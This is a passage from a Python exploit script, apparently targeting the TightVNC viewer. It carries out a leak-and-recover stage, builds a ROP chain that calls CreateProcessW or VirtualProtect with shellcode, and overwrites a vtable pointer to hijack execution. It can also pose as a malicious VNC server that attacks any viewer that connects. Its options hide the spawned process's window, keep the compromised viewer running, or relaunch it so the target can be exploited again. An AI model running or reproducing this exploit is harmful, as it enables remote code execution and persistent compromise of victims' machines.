print(" connect failed: %s" % c.error)
time.sleep(1.0)
continue
time.sleep(0.5)
c.start_reader()
time.sleep(0.15)
print(
"stage 1: leak / recover [%s layout: FB1 = BOS + 0x%X]"
% ("outbound" if serve_port is not None else "listening", layout["d"])
)
base, fb1 = leak(c, verbose, debug, layout)
if not fb1:
print(" recovery failed (non-first core, or empty-neighbour layout)")
c.close()
time.sleep(1.0)
continue
ch = Chain(base, fb1, fake_at=layout["fake_at"])
if mode == "cmd":
build_command(ch, payload_arg, tail, hide=hide)
print(
"stage 2: CreateProcessW ROP%s"
% ({"sleep": " [survive]", "exit": " [respawn]"}.get(tail, ""))
)
else:
build_shellcode(ch, payload_arg, tail == "sleep")
print(
"stage 2: VirtualProtect ROP + shellcode (%d B)%s"
% (len(payload_arg), " [survive]" if tail == "sleep" else "")
)
ch.send(c)
time.sleep(layout["fire_delay"])
write_at(c, -layout["d"], struct.pack("<Q", ch.fake))
print(
"stage 3: BufferedOutputStream vtable ptr (FB1-0x%X) <- 0x%016X ; fired"
% (layout["d"], ch.fake)
)
time.sleep(wait)
c.close()
print(
"done (payload should have executed; viewer %s)"
% (
{
"sleep": "kept alive",
"exit": "exited; a fresh -listen viewer is respawning",
}.get(tail, "will crash after")
)
)
return True
print("all attempts exhausted")
return False
def main():
ap = argparse.ArgumentParser(
description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
)
ap.add_argument("--host", help="dial out to a viewer in listening mode (TCP 5500)")
ap.add_argument("--port", type=int, default=5500)
ap.add_argument(
"--serve",
type=int,
metavar="PORT",
help="instead of dialling out, act as a malicious VNC server: listen on "
"PORT and exploit whatever viewer connects (the outbound-viewer case)",
)
ap.add_argument("--cmd", help="command line for CreateProcessW")
ap.add_argument("--shellcode", help="file of raw shellcode bytes")
ap.add_argument(
"--survive",
action="store_true",
help="park the hijacked thread so the viewer keeps serving",
)
ap.add_argument(
"--respawn",
action="store_true",
help="after the payload, cleanly exit the viewer and relaunch a "
"fresh 'tvnviewer.exe -listen' so the target is exploitable again",
)
ap.add_argument(
"--viewer-path",
default=r"C:\Program Files\TightVNC\tvnviewer.exe",
help="path used to relaunch the viewer for --respawn",
)
ap.add_argument(
"--respawn-delay",
type=int,
default=4,
help="seconds the relauncher waits before binding 5500 (for --respawn)",
)
ap.add_argument("--wait", type=float, default=6.0)
ap.add_argument(
"--retries",
type=int,
default=1,
help="reconnect attempts (helps only if the target relaunched)",
)
ap.add_argument(
"--debug",
action="store_true",
help="verbose leak/recover diagnostics; saves raw leak to leak_debug.bin on failure",
)
ap.add_argument(
"--show",
action="store_true",
help="let the --cmd child show its window (default: hidden). For a "
"visible demo, e.g. --show --cmd calc.exe",
)
a = ap.parse_args()
if bool(a.cmd) == bool(a.shellcode):
ap.error("give exactly one of --cmd / --shellcode")
if bool(a.host) == bool(a.serve):
ap.error("give exactly one of --host (dial out) / --serve (listen as a server)")
if a.survive and a.respawn:
ap.error(
"--survive and --respawn are mutually exclusive (respawn must free the port)"
)
if a.serve and a.respawn:
ap.error("--respawn is for listening-viewer mode; not --serve")
tail = "sleep" if a.survive else ("exit" if a.respawn else "crash")
if a.serve:
mode = "sc" if a.shellcode else "cmd"
parg = open(a.shellcode, "rb").read() if a.shellcode else a.cmd
run(
None,
None,
mode,
parg,
a.wait,
tail,
a.retries,
debug=a.debug,
serve_port=a.serve,
hide=not a.show,
)
elif a.respawn and a.shellcode:
ap.error("--respawn works with --cmd (it uses CreateProcessW); not --shellcode")
elif a.respawn:
relaunch = r'start "" "%s" -listen' % a.viewer_path
delay = r"ping 127.0.0.1 -n %d >nul" % (a.respawn_delay + 1)
prefix = ("%s & " % a.cmd) if a.cmd else ""
cmdline = "cmd.exe /c %s%s & %s" % (prefix, delay, relaunch)
run(
a.host,
a.port,
"cmd",
cmdline,
a.wait,
"exit",
a.retries,
debug=a.debug,
hide=not a.show,
)
elif a.shellcode:
run(
a.host,
a.port,
"sc",
open(a.shellcode, "rb").read(),
a.wait,
tail,
a.retries,
debug=a.debug,
)
else:
run(
a.host,
a.port,
"cmd",
a.cmd,
a.wait,
tail,
a.retries,
debug=a.debug,
hide=not a.show,
)
if __name__ == "__main__":
main()